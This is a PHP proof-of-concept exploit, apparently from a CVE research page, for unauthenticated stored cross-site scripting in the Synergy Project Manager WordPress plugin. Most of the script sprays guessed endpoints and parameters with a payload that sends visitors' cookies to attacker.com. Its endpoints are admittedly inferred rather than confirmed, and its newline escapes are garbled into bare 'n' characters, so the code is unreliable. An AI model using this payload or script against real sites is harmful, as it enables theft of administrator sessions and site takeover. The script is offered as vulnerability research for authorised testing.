CVE-2025-68898: Synergy Project Manager <= 1.5 – Unauthenticated Stored Cross-Site Scripting (synergy-project-manager)

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// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-68898 - Synergy Project Manager <= 1.5 - Unauthenticated Stored Cross-Site Scripting
<?php
/**
 * Proof of Concept for CVE-2025-68898
 * This script demonstrates unauthenticated stored XSS exploitation in the Synergy Project Manager plugin.
 * WARNING: For authorized testing only. Do not use against systems without permission.
 *
 * ASSUMPTIONS (inferred from metadata):
 * 1. The plugin has an unauthenticated AJAX endpoint or REST API route.
 * 2. The endpoint accepts unsanitized user input that gets stored and rendered.
 * 3. The plugin slug 'synergy-project-manager' maps to an AJAX action prefix.
 * 4. A parameter like 'title', 'description', or 'name' is vulnerable.
 */

$target_url = 'http://vulnerable-wordpress-site.com'; // CHANGE THIS

// Common AJAX endpoints for WordPress plugins
$endpoints = [
    '/wp-admin/admin-ajax.php',
    '/wp-json/synergy/v1/projects',
    '/wp-json/synergy-project-manager/v1/create',
    '/wp-content/plugins/synergy-project-manager/ajax-handler.php'
];

// XSS payload - steals admin cookies when viewed
$payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>';

// Common vulnerable parameter names
$parameters = [
    'title' => $payload,
    'name' => $payload,
    'description' => $payload,
    'content' => $payload,
    'project_name' => $payload
];

// Common AJAX action names derived from plugin slug
$actions = [
    'synergy_project_manager_create',
    'synergy_project_manager_save',
    'synergy_project_manager_add',
    'synergy_create_project',
    'synergy_save_task'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

// Test AJAX endpoint with different actions
foreach ($endpoints as $endpoint) {
    $url = $target_url . $endpoint;
    
    if (strpos($endpoint, 'admin-ajax.php') !== false) {
        // Test each possible AJAX action
        foreach ($actions as $action) {
            foreach ($parameters as $param => $value) {
                $post_data = [
                    'action' => $action,
                    $param => $value,
                    'nonce' => 'bypassed' // Nonce may be absent or bypassed
                ];
                
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_POST, true);
                curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
                
                $response = curl_exec($ch);
                $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                
                if ($http_code == 200 && (strpos($response, 'success') !== false || strpos($response, 'created') !== false)) {
                    echo "[+] Potential success! Action: $action, Param: $paramn";
                    echo "    Endpoint: $urln";
                    echo "    Payload injected: $valuenn";
                }
            }
        }
    } else {
        // Test REST API or direct file endpoints
        foreach ($parameters as $param => $value) {
            $post_data = [$param => $value];
            
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            
            if ($http_code == 200 || $http_code == 201) {
                echo "[+] Potential success! REST/direct endpointn";
                echo "    Endpoint: $urln";
                echo "    Parameter: $paramn";
                echo "    Payload: $valuenn";
            }
        }
    }
}

curl_close($ch);
echo "PoC completed. Check target pages for XSS execution.n";
echo "Note: This PoC is based on inferred patterns. Actual exploitation may requiren";
echo "different endpoints, parameters, or payload encoding.n";
?>